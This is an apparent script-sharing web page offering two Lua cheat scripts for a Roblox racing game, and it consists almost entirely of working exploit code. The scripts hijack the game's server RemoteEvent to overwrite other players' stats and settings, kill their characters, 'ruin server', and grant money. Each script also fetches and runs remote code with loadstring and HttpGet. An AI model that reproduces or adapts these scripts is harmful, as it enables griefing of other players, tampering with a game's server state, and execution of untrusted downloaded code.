Eight Driver Car Racing Script | STAT, RUIN SERVER & MORE! [OPEN SOURCE]

Created by Sol 2278

Features:

  • RUIN SERVER
local function Create()
local library = loadstring(game:HttpGet(('https://raw.githubusercontent.com/AikaV3rm/UiLib/master/Lib.lua')))()

local win = library:CreateWindow("Water")

local main = win:CreateFolder("Vehicle Destroyer")

local LocalPlayer = game:GetService("Players").LocalPlayer
local remote = nil;
local display_value = nil;

local function HijackRemote()
local a,b = pcall(function()
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName == "RemoteEvent" then
if v.Parent.Name == "Server" then
if tostring(v.Parent.Parent.Driver.Value):lower():match(LocalPlayer.Name:lower()) then
remote = v;
display_value:Refresh("[Success]")
return
end
end
end
end
end)
print(a,b)
end

display_value = main:Label(". . .",{
TextSize = 25; -- Self Explaining
TextColor = Color3.fromRGB(255,255,255);
BgColor = Color3.fromRGB(69,69,69);
})

local function UpdateVehicle(Spec, Value)
if remote == nil then display_value:Refresh("[Waiting]"); HijackRemote() return end;

local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}


remote:FireServer(unpack(args))
end)
print(a,b)
end

local remote_hijacker = main:Button("Hijack Remote", HijackRemote)
local remote_reseter = main:Button("Reset Remote", function()
remote = nil; display_value:Refresh("[Waiting]");
end)

local reset_stats = main:Button("Reset stats others", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.leaderstats then
for ii,vv in pairs(v.leaderstats:GetChildren()) do
UpdateVehicle(vv, 0)
end
end
end
end
end)


local stat_increasement = 0;
local body_increasement = 0;


local stat_mixer = main:Button("Give stats", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.leaderstats then
for ii,vv in pairs(v.leaderstats:GetChildren()) do
UpdateVehicle(vv, vv.Value + stat_increasement)
end
end
end
end
end)

main:Box("Stat increasement", "number", function(value)
stat_increasement = value;
end)

local no_settings = main:Button("No settings", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Controls then
for ii,vv in pairs(v.Controls:GetChildren()) do
UpdateVehicle(vv, "")
end
end
end
end
end)

local destroy_settings = main:Button("Destroy settings", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Controls then
for ii,vv in pairs(v.Controls:GetChildren()) do
if vv:IsA("StringValue") then
UpdateVehicle(vv, "Fuck off   -do_ntban")
elseif vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 9e9)
elseif vv:IsA("BoolValue") then
UpdateVehicle(vv, not vv.Value)
end
end
end
end
end
end)

local body_size_others = main:Button("Increase others size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, body_increasement)
end
end
end
end
end
end)

local body_size_local = main:Button("Increase local size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v == LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, body_increasement)
end
end
end
end
end
end)

local body_size_none = main:Button("No body size", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character then
for ii,vv in pairs(v.Character.Humanoid:GetChildren()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 0)
end
end
end
end
end)

local kill_others = main:Button("Kill others", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v ~= LocalPlayer then
if v.Character then
for ii,vv in pairs(v.Character:GetDescendants()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, -9e9)
end
end
end
end
end
end)

local ruin_server = main:Button("Ruin server", function()
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character then
for ii,vv in pairs(v.Character:GetDescendants()) do
if vv:IsA("IntValue") or vv:IsA("NumberValue") then
UpdateVehicle(vv, 9e9)
end
end
end
end
end)

main:Box("BodySize Increasement", "number", function(value)
body_increasement = value;
end)
end

Create()
  • Stat/Car Modifier
local function Create()
local library = loadstring(game:HttpGet(('https://raw.githubusercontent.com/AikaV3rm/UiLib/master/Lib.lua')))()

local win = library:CreateWindow("Water")

local main = win:CreateFolder("Vehicle Tuning")
local other = win:CreateFolder("Stat Tuning")

local Player = game:GetService("Players").LocalPlayer
local current_selected = ""
local current_item = nil;
local current_stat = nil;

local SelectPlayer;
local function GetPlayers()
local plr = {"None"}
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
table.insert(plr, v.Name)
end
return plr
end

local function UpdateVehicle(Spec, Value)
local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}
           
           local whatever = Spec;
           local tries = 0;
           
           while whatever.ClassName ~= "VehicleSeat" do
               wait()
               tries = tries+1;
               
               if tries >= 5 then break end;
               whatever = whatever.Parent
           end
   whatever.Server.RemoteEvent:FireServer(unpack(args))
end)
print(a, b)
end

local function CustomSpoof(Spec, Value, Remote)
local a,b = pcall(function()
local args = {
[1] = "UpdateVal",
[2] = Spec,
[3] = Value
}
           
   Remote:FireServer(unpack(args))
end)
print(a, b)
end

local display_value = main:Label("Info",{
       TextSize = 25; -- Self Explaining
       TextColor = Color3.fromRGB(255,255,255);
       BgColor = Color3.fromRGB(69,69,69);
   })

SelectPlayer = main:Dropdown("Select Player", GetPlayers(), true, function(cur)
if cur == "None" then return end
Player = game:GetService("Players")[cur]
SelectPlayer:Refresh(GetPlayers())
end)

other:Dropdown("Stat", {"None", "Drift", "Exp", "Lvl"}, true, function(cur)
if cur == "None" then return end
current_stat = Player.leaderstats[cur]
end)

other:Box("Spoof Integer","number", function(value)
if current_stat == nil then return end
       if current_selected == nil then return end

if type(current_stat.Value) == "number" then
   for i,v in pairs(Player.Character:GetChildren()) do
    if v:IsA"Model" then
    if v.Name == current_selected then
           CustomSpoof(current_stat, value, v.DriveSeat.Server.RemoteEvent);
    end
   end
end
else
warn("[-Error-] cannot spoof: " .. type(current_stat) .. " as integer")
end
end)

local function GetCars()
local cars = {"None"};
for i,v in pairs(Player.Character:GetChildren()) do
if v:IsA"Model" then
table.insert(cars, v)
end
end
return cars
end

local specs = {
["Userdata"] = {},
["Name"] = {};
};
   
local display_data;
display_data = main:Dropdown("Select Display", {"None"}, true, function(cur)
if cur == "None" then return end
for i,v in pairs(specs.Userdata) do
if v.Name == cur then
current_item = v;
display_value:Refresh("Value: " .. v.Value)
end
end
end)

local list;
list = main:Dropdown("Select Car", GetCars(), true, function(car)
if car == "None" then list:Refresh(GetCars()) return end
current_selected = car;

specs = {
["Userdata"] = {},
["Name"] = {};
};

for i,v in pairs(Player.Character:GetChildren()) do
if v:IsA"Model" then
if v.Name == current_selected then
if v.DriveSeat.Specs ~= nil then
for ii,vv in pairs(v.DriveSeat.Specs:GetDescendants()) do
table.insert(specs["Userdata"], vv)
table.insert(specs["Name"], vv.Name)
end
end
end
end
end

display_data:Refresh(specs["Name"])
end)

main:Box("Spoof Integer","number", function(value)
if current_item == nil then return end

if type(current_item.Value) == "number" then
UpdateVehicle(current_item, value);
else
warn("[-Error-] cannot spoof: " .. type(current_item) .. " as integer")
end
end)

main:Box("Spoof String","string", function(value)
if current_item == nil then return end

if type(current_item.Value) == "string" then
UpdateVehicle(current_item, value);
else
warn("[-Error-] cannot spoof: " .. type(current_item) .. " as string")
end
end)

main:Button("Give 10000 money", function()
   local args = {
           [1] = "Sanctioned",
           [2] = -10000,
           [3] = "372434240",
           [4] = {}
       }
       
       game:GetService("ReplicatedStorage").RemoteEvent:FireServer(unpack(args))
end)
end

Create()

ENJOY!

Warning: DO NOT DOWNLOAD anything from this page, you’re only here to copy the script!

Share This Post

Share on facebook
Share on linkedin
Share on twitter
Share on email
TOP 10 TRENDING SCRIPTS